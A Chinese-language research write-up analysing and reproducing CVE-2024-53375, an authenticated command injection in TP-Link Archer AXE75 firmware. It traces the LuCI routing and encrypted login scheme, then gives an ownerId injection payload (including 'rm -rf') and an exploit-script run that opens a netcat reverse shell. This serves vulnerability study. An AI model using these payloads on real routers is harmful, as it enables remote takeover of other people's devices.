漏洞情报
CVE-2024-53375:TP-Link Archer系列路由器存在一个已认证的远程代码执行(RCE)漏洞。该漏洞存在于TP-Link提供的HomeShield功能中的"tmp_get_sites"函数内。即使未启用HomeShield功能,此漏洞仍可被利用。
本文采用Archer AXE75(EU)_V1_1.2.2 Build 20240827固件进行分析、复现和挖掘
信息收集
拿到固件,binwalk解包,进入squashfs-root目录下

看到是ARM架构32位
我们找到web服务器usr/sbin/uhttpd
uhttpd分析
main函数
找到uhttpd的main函数。该函数用于启动一个轻量级Web服务器
以下按代码逻辑顺序分析各部分功能和实现细节,跳过不需要部分,命令行参数解析部分重点展开。
命令行参数解析
while ( 1 )
{
v11 = getopt(argc, (char *const *)argv, "fSDRC:K:N:E:I:p:s:h:c:l:L:d:r:m:n:x:i:t:T:A:u:U:");
v12 = v11;
if ( v11 <= 0 )
break;
switch ( v11 )
{
case 'A': ... case 'C': ... case 'D': ... /* 其他选项 */
default:
v37 = "Usage: %s -p [addr:]port [-h docroot]
" /* 使用说明 */
v36 = *argv;
goto LABEL_91;
}
}
- 功能:解析命令行参数,配置服务器的运行参数。
- 逻辑:
- 使用
getopt循环处理选项,选项字符串为"fSDRC:K:N:E:I:p:s:h:c:l:L:d:r:m:n:x:i:t:T:A:u:U:"。 - 将当前选项存入
v11(并复制到v12),若v11 <= 0,退出循环。 - 使用
switch根据选项字符执行对应逻辑。 - 无效选项打印使用说明并退出。
- 使用
- 选项字符串:
- 无参数选项:
f,S,D,R,l,L。 - 带参数选项:
C:,K:,N:,E:,I:,p:,s:,h:,c:,d:,r:,m:,n:,x:,i:,t:,T:,A:,u:,U:。 optarg存储带参数选项的值。
- 无参数选项:
各选项详细分析
以下部分分析switch中的选项逻辑和功能:
-A:设置最大活动连接数
case 'A':
v46 = atoi((const char *)optarg);
p_tm_isdst = &filename[93].tm_isdst;
goto LABEL_108;
LABEL_108:
*p_tm_isdst = v46;
continue;
- 功能:设置服务器的最大活动连接数。
- 逻辑:将
optarg转换为整数(atoi),存储在filename[93].tm_isdst。 - 细节:影响服务器的并发处理能力,复用
struct tm字段存储配置。
-R:启用RFC1918过滤
case 'R':
p_tm_year = &filename[93].tm_yday;
goto LABEL_104;
- 功能:启用RFC1918私有地址过滤。
- 逻辑:设置
filename[93].tm_yday=1。 - 细节:限制私有IP访问。
-T:设置网络超时
case 'T':
v46 = atoi((const char *)optarg);
p_tm_isdst = &filename[93].tm_wday;
goto LABEL_108;
- 功能:设置网络超时时间(秒)。
- 逻辑:将
optarg转换为整数,存储在filename[93].tm_wday。 - 细节:默认30秒。
-U:设置ubus socket路径
case 'U':
v48 = (int)optarg;
p_tm_min = (struct tm *)&filename[94].tm_min;
goto LABEL_110;
LABEL_110:
p_tm_min->tm_sec = v48;
continue;
- 功能:覆盖ubus socket路径。
- 逻辑:将
optarg存储在filename[94].tm_min。 - 细节:默认路径为
/var Rats/ubus.sock。
-h:设置文档根目录
case 'h':
if ( realpath((const char *)optarg, (char *)filename) )
continue;
v39 = (const char *)optarg;
v40 = (FILE *)stderr;
v41 = _errno_location();
v42 = strerror(*v41);
fprintf(v40, "Error: Invalid directory %s: %s
", v39, v42);
goto LABEL_82;
- 功能:指定文档根目录。
- 逻辑:
- 使用
realpath解析optarg到filename,验证路径。 - 如果无效,打印错误并退出。
- 使用
- 细节:默认根目录为
.。
-n:设置最大并发请求数
case 'n':
v46 = atoi((const char *)optarg);
p_tm_isdst = &filename[93].tm_gmtoff;
goto LABEL_108;
- 功能:设置最大并发请求数。
- 逻辑:将
optarg转换为整数,存储在filename[93].tm_gmtoff。 - 细节:默认值8。
-p、-s:绑定端口(普通或TLS)
case 'p':
case 's':
memset(v107, 0, sizeof(v107));
v16 = (const char *)optarg;
v17 = strrchr((const char *)optarg, 58);
if ( v17 )
{
v18 = v17 - v16;
v19 = *(unsigned __int8 *)v16 == 91;
if ( v16 >= v17 )
v19 = 0;
if ( v19 && *(v17 - 1) == 93 )
{
v18 -= 2;
v20 = v16 + 1;
if ( v18 >= 0x80 )
v18 = 128;
}
else
{
v20 = v16;
if ( v18 >= 0x80 )
v18 = 128;
}
v16 = v17 + 1;
memcpy(v107, v20, v18);
}
if ( v12 != 115 )
goto LABEL_38;
if ( sub_149F8(filename) )
{
fprintf((FILE *)stderr, "Notice: TLS support is disabled, ignoring '-s %s'
", optarg);
continue;
}
v98 = 1;
LABEL_38:
v101 = 1;
if ( v107[0] )
v21 = v107;
else
v21 = 0;
pai[0] = 0;
v22 = getaddrinfo(v21, v16, &req, pai);
/* 后续网络初始化逻辑 */
- 功能:
-p:绑定普通HTTP端口。-s:绑定HTTPS端口(需TLS支持)。
- 逻辑:
- 解析
optarg格式为[addr]:port(支持IPv6)。 - 分割地址(存入
v107)和端口(存入v16)。 - 对于
-s,检查TLS支持,若不支持则忽略并设置v98=1。 - 调用
getaddrinfo解析地址,创建套接字,绑定端口。
- 解析
- 细节:
- 支持IPv4/IPv6,地址为空时绑定所有接口。
- TLS端口需
-C和-K配合。
-r:设置认证领域
case 'r':
v48 = optarg;
p_tm_min = (struct tm *)&filename[93].tm_min;
goto LABEL_110;
- 功能:设置基本认证的领域名称。
- 逻辑:将
optarg存储在filename[93].tm_min。 - 细节:默认
"Protected Area"。
-t:设置脚本超时
case 't':
v46 = atoi((const char *)optarg);
p_tm_isdst = &filename[94].tm_wday;
goto LABEL_108;
- 功能:设置CGI/Lua/ubus脚本超时时间(秒)。
- 逻辑:将
optarg转换为整数,存储在filename[94].tm_wday。 - 细节:默认60秒。
-x:设置CGI处理URL前缀
case 'x':
v48 = optarg;
p_tm_min = (struct tm *)&filename[93].tm_zone;
goto LABEL_110;
- 功能:指定CGI处理器的URL前缀。
- 逻辑:将
optarg存储在filename[93].tm_zone。 - 细节:默认
/cgi-bin。
默认情况
default:
v37 = "Usage: %s -p [addr:]port [-h docroot]
" /* 详细使用说明 */
v36 = *argv;
goto LABEL_91;
LABEL_91:
fprintf(v38, v37, v36);
goto LABEL_82;
- 功能:处理无效选项,打印使用说明并退出。
- 逻辑:输出程序用法,设置退出状态
v35=1。
参数验证
if ( v9 <= 1 )
v13 = v98;
else
v13 = 0;
if ( v13 )
{
v14 = "Error: Missing private key or certificate file
";
v15 = (FILE *)stderr;
goto LABEL_81;
}
if ( !v96 )
{
v14 = "Error: No sockets bound, unable to continue
";
v15 = (FILE *)stderr;
goto LABEL_81;
}
- 功能:验证命令行参数完整性。
- 逻辑:
- 如果启用了
-s(v98=1)且v9<=1(缺少证书或私钥),报错退出。 - 如果
v96=0(无成功绑定的套接字),报错退出。
- 如果启用了
- 细节:
v9确保TLS配置完整(需-C和-K)。v96记录绑定的套接字数量。
网络初始化
v25 = pai[0];
v97 = 0;
while ( 2 )
{
if ( v25 )
{
v26 = socket(v25->ai_family, v25->ai_socktype, v25->ai_protocol);
v27 = v26;
if ( setsockopt(v26, 1, 2, &v101, 4u) )
goto LABEL_53;
if ( filename[93].tm_isdst > 0 )
{
v104 = 3;
tm_isdst = filename[93].tm_isdst;
optval = 1;
if ( setsockopt(v27, 1, 9, &v101, 4u)
|| setsockopt(v27, 6, 4, &optval, 4u)
|| setsockopt(v27, 6, 5, &tm_isdst, 4u)
|| setsockopt(v27, 6, 6, &v104, 4u) )
{
v29 = (FILE *)stderr;
v30 = _errno_location();
v31 = strerror(*v30);
fprintf(v29, "Notice: Unable to enable TCP keep-alive: %s
", v31);
}
}
if ( v25->ai_family == 10 && setsockopt(v27, 41, 26, &v101, 4u) == -1 )
goto LABEL_53;
if ( bind(v27, v25->ai_addr, v25->ai_addrlen) == -1 )
goto LABEL_54;
if ( listen(v27, 64) == -1 )
goto LABEL_54;
v32 = uh_listener_add(v27, filename);
if ( v32 )
{
if ( v12 == 115 )
p_tm_mon = &filename[94].tm_mon;
else
p_tm_mon = 0;
if ( v12 == 115 )
p_tm_mon = (int *)p_tm_mon[6];
*(_DWORD *)(v32 + 52) = p_tm_mon;
v34 = fcntl(v27, 1);
fcntl(v27, 2, v34 | 1);
uh_ufd_add(v32, sub_14858, 65);
++v97;
}
else
{
fputs("uh_listener_add(): Failed to allocate memory
", (FILE *)stderr);
}
if ( v27 > 0 )
close(v27);
LABEL_51:
v25 = v25->ai_next;
continue;
}
break;
}
freeaddrinfo(pai[0]);
v96 += v97;
- 功能:创建TCP套接字,绑定地址和端口,启动监听。
- 逻辑:
- 使用
getaddrinfo解析地址(从-p或-s)。 - 为每个地址创建套接字,设置
SO_REUSEADDR和TCP keep-alive(若启用)。 - 调用
bind和listen,最大连接数64。 - 使用
uh_listener_add注册监听器到事件循环。 - 增加
v97(成功绑定计数),释放地址信息。 - 更新
v96(总绑定计数)。
- 使用
- 细节:
- 支持IPv4/IPv6,TCP keep-alive增强连接稳定性。
uh_ufd_add将套接字加入事件循环,回调函数为sub_14858,后续如果想进一步分析http服务从这里入手。
服务器配置
uh_get_operation_mode(&dword_2B45C);
uh_get_local_addr(&dword_2B45C);
uh_get_admin_config(&dword_2B45C);
if ( filename[93].tm_gmtoff <= 0 )
filename[93].tm_gmtoff = 8;
if ( filename[93].tm_wday <= 0 )
filename[93].tm_wday = 30;
if ( !uh_index_files )
{
if ( byte_2B41C[0] )
{
memset(pai, 0, 0x80u);
sprintf((char *)pai, "index.%shtml", byte_2B41C);
uh_index_add(pai);
}
uh_index_add("index.html");
uh_index_add("index.htm");
uh_index_add("default.html");
uh_index_add("default.htm");
}
if ( filename[94].tm_wday <= 0 )
filename[94].tm_wday = 60;
if ( !filename[93].tm_zone )
filename[93].tm_zone = "/cgi-bin";
- 功能:设置服务器运行模式、地址和默认配置。
- 逻辑:
- 调用
uh_get_operation_mode、uh_get_local_addr、uh_get_admin_config配置服务器。 - 设置默认值:最大并发请求数8(
tm_gmtoff)、网络超时30秒(tm_wday)、脚本超时60秒(filename[94].tm_wday)、CGI前缀/cgi-bin(tm_zone)。 - 如果未指定索引页面,添加
index.html等默认页面。
- 调用
- 细节:
- 默认索引页面支持
byte_2B41C前缀(如index.<prefix>html)。
- 默认索引页面支持
插件加载与ubus
v64 = dlopen("uhttpd_ubus.so", 257);
if ( v64 )
{
filename[94].tm_mday = (int)dlsym(v64, "uh_ubus_init");
...
}
v68 = ubus_connect("/var/run/ubus.sock");
dword_2B4AC = v68;
uloop_run(v88);
-
功能:加载
uhttpd_ubus.so插件并连接到ubus服务。 -
逻辑:
- 使用
dlopen加载uhttpd_ubus.so,查找uh_ubus_init、uh_ubus_close、uh_ubus_request符号。 - 如果加载成功,调用
uh_ubus_init初始化ubus。 - 连接到
/var/run/ubus.sock,存储连接句柄到dword_2B4AC。 - 将ubus连接加入事件循环(
uloop_fd_add)。 - 调用
ubus_add_object注册对象。
- 使用
-
细节:
- ubus用于系统服务通信。
- 插件加载失败会打印警告但继续运行。
http请求处理函数调用链
sub_14858
接受一个新的客户端连接,并对其进行初始化和安全检查,最后调用sub_14784处理HTTP请求

sub_14784
函数 sub_14784 是一个典型的 HTTP请求处理函数,用于处理已建立连接的客户端的数据接收与状态解析。在条件正确时跳转到sub_14760


sub_13FDC
函数sub_13FDC是一个完整的 HTTP 请求处理器,负责从 TCP 流中读取并解析完整的 HTTP 请求头,验证安全性,进行身份认证,路由请求到 CGI 或静态资源,并启动响应流程。下面是解析请求行片段展示

重点看到CGI路由,uh_path_lookup(v2, v43)解析出路径后传给uh_cgi_request(v2, v53, v48)


uh_cgi_request
函数 uh_cgi_request 是一个CGI(通用网关接口)请求处理器,用于在嵌入式 Web 服务器中执行外部 CGI 脚本,并将输出返回给客户端。
函数解析请求参数并设为环境变量,用以和外部程序交互,如下图

函数调用a3表示的外部处理程序,地址a3为uh_path_lookup解析生成

总结
该固件主要功能在lua层实现,uhttpd只起到一个简单的web服务器框架作用,因此这里只是简单分析。
启动uhttpd程序
拿到固件,binwalk解包,进入squashfs-root目录下
复制qemu
cp $(which qemu-arm-static) .
尝试执行下面这条命令
sudo chroot . ./qemu-arm-static /usr/sbin/uhttpd -f -h /www -r Archer_AXE300 -x /cgi-bin -t 120 -T 30 -A 1 -n 3 -R -p 0.0.0.0:80

关掉nginx
sudo systemctl stop nginx

挂载两个目录
sudo mount --bind /dev ./dev
sudo mount --bind /proc ./proc
进入bin/bash
sudo chroot . bin/bash
启动ubusd
ubusd &
提示没有usock

前文分析到的,根据main函数ubus部分,我们需要给ubus.sock创建文件夹var/run

看一下,原文件夹不能用,操作如下

再次启动ubus,退出bash,发现启动ubus成功

重新启动uhttpd成功

用本机ip访问web服务,第一次启动会设置一个密码,之后就用这个密码登录


漏洞分析
漏洞点
漏洞发现者搜索命令执行的危险函数os.execute,在usr/lib/lua/luci/model/avira.lua中发现一处危险点,avira是路由器嵌入的一个防毒软件。

os.execute("cp " .. PROC_PCTL .. ownerId .. " /tmp/visitList")
该型号固件lua代码的习惯,全大写的变量如PROC_PCTL一般定义在文件开头表示固定的某个文件,接下来要挖掘RCE漏洞可以忽略这些变量
local PROC_BLOCK = "/proc/block/block_insight"
这里的ownerId从http请求读取,没有经过输入验证,需要data中siteType=="visit"、startIndex == 0,为了利用漏洞过程不出错,我们给其他需要的变量也给出有效值。
还有一点值得注意的是,我们http接收的data经过json解码,因此,我们发送请求也要经过http编码。
路由分析
我们先找一下function AVIRA_GATHER:tmp_get_sites(app_form)的调用点,发现在该lua文件找不到,于是在lua层,即usr/lib/lua搜索tmp_get_sites

找到luci/controller/admin/smart_network.lua的相关片段,先看到一个定义了操作映射的分发表smart_network_form

表结构如下
local smart_network_form = {
...
tmp_avira = {
...
["getInsightSites"] = {cb = tmp_get_sites},
...
}
...
}
在表下方就是一个路由逻辑,也可以查找smart_network_form的调用找到该逻辑

由index注册路由,从这里我们可以确定http请求的url末尾是/admin/smart_network。另外两个函数对应ctl也就是luci/model/controller.lua中的具体实现

luci/model/controller.lua有更清楚的传参和函数调用逻辑,ctl._index逻辑如下,主要做错误处理,并通过http.formvalue()从http请求拿到数据,传给smart_network.lua中的smart_network_dispatch(http_form),这个函数再把同一文件下的分发表smart_network_form和http数据一起给ctl.dispatch
http.formvalue()函数涉及http请求格式,后面会重点分析

ctl.dispatch定义如下,它将http请求中的form和operation查找smart_network_form分发表对应到实际的处理函数,根据我们的目标tmp_get_sites,应设置form=tmp_avira和operation=getInsightSites
function dispatch(dispatch_tbl, http_form, hook)
local forms = http_form and http_form["form"]
local op = http_form and http_form["operation"] or ""
local success = true
local own_response
local errorcode_tbl = {}
local data, others, errorcode
local function _action_cb(cb, args)
local ret, errorcode, error_tbl = cb(unpack(args))
local data
if ret then
data = ret
else
success = false
if errorcode then
errorcode_tbl[#errorcode_tbl + 1] = errorcode
end
if error_tbl then
data = error_tbl
end
end
return ret, type(data) == "table" and data or nil
end
local function _dispatch(form)
local op_tbl = dispatch_tbl[form]
local action
if op_tbl then
action = op_tbl[op] or op_tbl[".super"]
end
if action and action.cb then
local args = op_tbl[".args"]
and {http_form, op_tbl[".args"], action.args}
or {http_form, action.args}
local ret, data = _action_cb(action.cb, args)
local others
if action.others then
_, others = _action_cb(action.others, args)
end
if hook and hook.post_hook then
_action_cb(hook.post_hook, {ret, action})
end
own_response = own_response or action.own_response
return data, others, action
else
success = false
errorcode_tbl[#errorcode_tbl + 1] = "no such callback"
end
end
local function _merge(tbl, updates, action, form)
if #updates == 0 then
-- @updates is a key-value table, or empty array
local prefix = action and action.merge_prefix
if prefix then
util.update_prefix(tbl, updates, prefix)
else
util.update(tbl, updates)
end
else
-- @updates is a non-empty array
util.update(tbl, {[form] = updates})
end
end
if type(forms) ~= "table" then
-- Single form
local form = forms
data, others = _dispatch(form)
else
-- Multiple forms
for _, form in ipairs(forms) do
local data_ret, others_ret, action = _dispatch(form)
if data_ret then
data = data or {}
_merge(data, data_ret, action, form)
end
if others_ret then
others = others or {}
_merge(others, others_ret, action, form)
end
end
end
if #errorcode_tbl > 0 then
errorcode = table.concat(errorcode_tbl, "&")
end
return {
success = success,
data = data,
others = others,
errorcode = errorcode
}
end
到这里,我们对进入漏洞点的过程基本分析清楚了。
http请求示例:
POST /cgi-bin/luci/;stok=abcd1234/admin/smart_network?form=tmp_avira HTTP/1.1
Host: 192.168.0.1
Content-Length: 512
Content-Type: application/x-www-form-urlencoded
User-Agent: Python-requests/2.28.1
Connection: keep-alive
operation=getInsightSites&sign=<encrypted_signature>&data=<encrypted_data>
data内容如下,然后经过json编码。
{
"ownerId": "../uptime /tmp/visitList;/bin/uname -a > /www/poc.txt;rm -rf",
"date": "today",
"type": "visit",
"startIndex": 0,
"amount": 1
}
"ownerId"内容可以换成其他命令。
登录与请求格式分析
虽然触发漏洞的路径我们已经清楚了,但是TP-Link的登录和请求验证机制较为复杂,需要对Archer系列路由器的登录逻辑进行细致的分析。漏洞发现者使用了触发CVE-2022-30075漏洞在AX50的接入逻辑,写出可以在本漏洞直接使用的EXP。我们当然可以忽略这一部分,但是分析这个“造轮子”的过程也能增加我们对系统接收请求逻辑的认识。在已有现成登录逻辑的情况下,我们的分析也不用走弯路错路。
抓包分析
首先,我们先考虑登录逻辑。先通过web页面登录,在登录前后抓包。有三个重要的包,共同点是/login路径,分别是两个请求密钥的包和一个发送密码的包。根据“010001”可以猜测这两组密钥都是RSA公钥



登录逻辑
由/login找到usr/lib/lua/luci/controller/login.lua
最底下又是我们熟悉的分发逻辑,这套系统的lua层很多应用功能点都是这一套分发逻辑,而底层功能则是靠local ctl = require "luci.model.controller"这样的形式调用。要注意的是这里有新旧两套分发表,但对我们功能点没有区别。

根据三个包的form和operation定位到对应的处理函数(form=login包对应的operation已被编码,但是简单分析可以知道是login)

form=keys对应的函数如下,从luci/model/asycrypto.lua中的rsa_read_pubkey函数读取RSA公钥。如下图二所示,读取RSA私钥的函数也在同一位置。这一组公私钥的获取形式都是通过asycrypto = require("luci.model.asycrypto").Crypto("rsa")获取,uci_r:get("accountmgnt", "keys", "n")会访问etc/config下名为"accountmgnt"的文件,文件内容展示在下图三。这一组公钥记为password_rsa_n、password_rsa_e。



form=auth对应的函数如下,同时发送了另一组RSA公钥和一个序列。RSA公钥获取方式有别于前面,调用 了service.read_rsakey(),我们后面遇到根据获取方式不同即可区分两组密钥

这一组密钥具体获取方式和存储文件如下,记为sign_rsa_n、sign_rsa_e



获取序列号方式如下,随机生成后保存在本地,序列号记为sign_seq

最后看到登录逻辑,login函数
首先,参数从http请求获取,由于登录过程我们没输入账号,所以账号为默认admin,此外local rsa2048_enable决定下面用什么解密方式,很重要,我们查找etc/config/system文件发现没有这个值,因此取默认值”false“


先看到密码解密


解密函数和form=keys对应的获取公钥函数、我们看到的获取私钥函数在同一个文件下,通过asycrypto = require("luci.model.asycrypto").Crypto("rsa")调用。因此,我们要提取form=keys的响应包中的密钥password_rsa_n、password_rsa_e加密我们的密码

login函数还实现一个重要功能,就是将"admin"和密码拼接计算hash,然后将登录用到的各种数据通过sauth.write写入cookie,一些数据后面会分析到。

登录后响应会附带一个需要用到的stok
请求格式确认
在luci/model/controller.lua中,前面路由分析时提到的、漏洞点和登录程序都要经过的ctl._index(dispatch)函数调用http.formvalue从http请求解析数据。


luci/http.lua中相关代码如下,Request在被调用时,构造函数Request._init_初始化时,从环境变量中读取URL 中?后的内容env.QUERY_STRING并初步处理
params = protocol.urldecode_params(env.QUERY_STRING or "")
urldecode_params将环境变量env.QUERY_STRING解析为键值对,环境变量在前面解读uhttpd的uh_cgi_request函数中解析和设置
同时注意初始化encrypt.need_encrypt = true和renew_aeskey = false、renew_aeskey = false,后面会用到



然后看到Request.formvalue函数,它判断没有读取输入,进入Request._parse_input_函数,再打包参数调用protocol.parse_message_body,最后将判断读取输入的标志置一。


函数parse_message_body读取环境变量中的请求头参数根据抓包内容进入elseif msg.env.REQUEST_METHOD == "POST" and msg.env.CONTENT_TYPE and msg.env.CONTENT_TYPE:match("^application/x%-www%-form%-urlencoded")分支
然后前面提到,encrypt.need_encrypt = true,调用urldecode_message_body_decrypt(src, msg)

urldecode_message_body_decrypt(src, msg)用于读取、解密并解析 HTTP 请求的消息体,它创建函数读取数据流、验证数据长度,然后解密数据,最后对解密的数据解析键值对。重点看解密逻辑local decrypted_data = decrypt(data, msg)

decrypt()函数先匹配请求体中的sign和data,因此我们的请求体应该写成这两个部分,接着看两个部分分别是什么。
看到一个比较重要的信息:AES加密。解析sign的函数service.analyze_signature(sig, msg.encrypt.renew_aeskey)传递一个更新AES密钥的标志,据此决定解析sign是否提取AES密钥。如果标志为否,AES密钥和hash值、序列号encrypt.seqnum都已存在,验证hash值和序列号;否则hash从sign中提取,序列号encrypt.seqnum现场读取,注意到读序列号的方式和前面form=auth请求时收到的序列在同一处做相同处理,即这里读的就是当时生成的序列号。
最后用AES密钥解密data,也就是说,无论是否更新密钥,密钥都要是存在的。但是前面Request类初始化时,renew_aeskey为false,而aeskey为nil。也就是说,我们得找到改renew_aeskey或者写aeskey的地方。


在文件目录下搜索aeskey,发现实现改renew_aeskey或者写aeskey的地方非常少,在Request类所在文件http.lua中同时存在改标志renew_aeskey和写入aeskey的程序

继续利用搜索结果,定位到同一个文件luci/dispatcher.lua,且看行数很可能在同一个函数内

进入文件,相关程序在函数httpdispatch下,这个函数在lua层启动时被usr/lib/lua/luci/sgi/cgi.lua中的run函数调用

函数httpdispatch如下,这里先提取了请求的path和form,然后根据path和form判断是否需要加密和更新AES密钥。需要就会将renew_aeskey置一,同时将需要加解密的标志置一,然后尝试从会话 (sysauth cookie) 中读取加密相关的数据,结合下面的表单我们可以知道系统在登录请求更新AES密钥,在登录后从sysauth cookie中用sdat = sauth.read(sess, true)读取相关数据

看一下判断是否需要加密和更新AES密钥其实就是查表,我们也知道我们的前两个包不需要加密和更新AES密钥,而form=login包则需要加密和更新AES密钥。


在登录后,sdat = sauth.read(sess, true)从tmp/luci-sessions里的cookie文件里读取,我们可以用root权限看一下内容,当然这部分和我们的分析没什么关系,只是了解系统登录后的认证方式

回到正题,这里再次展示sign的解析程序,函数function analyze_signature(sig, hasaeskey)在/luci/service.lua下。我们知道了登录请求时renew_aeskey为true,我们需要在请求体的sign里构造签名字符串,当然这种格式在后面的请求也能用,只不过aeskey和aeskiv不会被解析。最先对sign做的处理是RSA解密,密钥来源于同文件的read_rsakey(),这个函数读取的是form=auth请求获得的密钥sign_rsa_n、sign_rsa_e。

构造签名字符串格式如下
k=<aeskey>&i=<aesiv>&h=<hash>&s=<seq>
看回函数decrypt,我们重点研究一下签名sign提取的数据用来做什么,hash前面登录逻辑分析到了,拼接"admin"和密码取哈希值,在这里登录时存储,之后比较验证。seq值减去data的长度后和之前发送的序列号sign_seq比较,我们发送的seq应该是sign_seq+data的长度。

最后看到data的AES解码函数aes_dec_data,函数aes_dec_data函数的流程:
-
验证输入数据
data和aeskey的有效性; -
将
data进行Base64解码 -
将解码后的数据写入临时文件
-
使用AES算法解密文件内容,输出到另一个临时文件
-
读取解密后的数据,清理临时文件,返回结果
-
如果任何步骤失败(输入无效、Base64解码失败、文件操作失败、解密失败等),返回nil。
到这里,我们的请求解析流程也完全清楚了

总结
整理我们分析到的内容并倒推,和服务器通信并触发漏洞的过程如下
-
获取签名密钥(
/login?form=auth):- 格式:
POST http://<target>/cgi-bin/luci/;stok=/login?form=auth {'operation': 'read'} - 响应:获取 RSA 密钥(
sign_rsa_n,sign_rsa_e)和序列号(sign_seq)。
- 格式:
-
获取密码密钥(
/login?form=keys):- 格式:
POST http://<target>/cgi-bin/luci/;stok=/login?form=keys {'operation': 'read'} - 响应:获取密码 RSA 密钥(
password_rsa_n,password_rsa_e)。
- 格式:
-
登录请求(
/login?form=login):- 格式:
POST http://<target>/cgi-bin/luci/;stok=/login?form=login {'sign': <encrypted_signature>, 'data': <encrypted_data>} - 数据来源:
encrypted_data:post_data:operation:'login'。password:使用password_rsa_n和password_rsa_eRSA加密用户输入的密码
post_data序列化为URL编码字符串。- 使用AES加密,密钥为
self.aes_key,初始向量为self.aes_iv。 - 加密结果使用
base64.b64encode编码为Base64格式。
encrypted_signature:- 签名内容:
k=<aes_key>&i=<aes_iv>&h=<password_hash>&s=<sign_seq+len(encrypted_data)>。aes_key和aes_iv:来自self.aes_key和self.aes_iv。password_hash:对"admin"+args.p进行MD5哈希(hashlib.md5)。sign_seq:从第一次请求获取的序列号。
- 使用
sign_rsa_n和sign_rsa_eRSA加密签名
- 签名内容:
- 响应:提取
stok
- 格式:
-
漏洞利用请求(
/admin/smart_network?form=tmp_avira):-
格式:
POST http://<target>/cgi-bin/luci/;stok=<stok>/admin/smart_network?form=tmp_avira {'sign': <encrypted_signature>, 'data': <encrypted_data>} -
数据来源:
-
stok:登录响应。 -
encrypted_data:operation:'getInsightSites'postdata:ownerId:命令注入 payload。date:'today'type:'visit'startIndex:0amount:1
- 先对
postdata进行json编码,后续处理同登录请求
-
encrypted_signature:处理同登录请求
-
-
RCE脚本执行
根据之前的分析,我们已经完全了解应该如何登录并发送请求,这里使用脚本触发漏洞,来自漏洞发现者,-c可以自己输入注入命令。
python3 1.py -t <host ip> -p <设置的axe75密码> -c "mknod /tmp/p p; nc <host ip> 4444 0</tmp/p | /bin/sh >/tmp/p 2>&1; rm -f /tmp/p"
效果如下


命令注入点分析和验证输入合法性
根据本漏洞的思路,在usr/lib/lua目录下搜索lua脚本的危险函数,关键词”os.execute“、”call“、”fork“等,除漏洞点外,用户控制的参数都有严格的验证,下面举例分析。
-
os.execute("/sbin/switch_mode_multi %s %s >/dev/null 2>&1" %{old_mode, new_mode})luci/controller/admin/system.lua,漏洞函数

调用函数点,可以看到old_mode由读取系统配置获得,new_mode由http请求读取。但是new_mode做了严格的验证,只能在有限的几个模式中选择,无法注入命令

-
os.execute("vpn_mgmt client del "..mac)luci/controller/admin/vpn.lua,漏洞函数,有mac验证

找到验证点,,程序使用正则表达式匹配mac地址,确认无法注入

附录
参考文章
CVE-2024-53375 TP-Link Archer router series Authenticated RCE :: Thotty
ThottySploity/CVE-2024-53375: TP-Link Archer AXE75 Authenticated Command Injection
CVE-2022-30075/tplink.py at main · aaronsvk/CVE-2022-30075 · GitHub
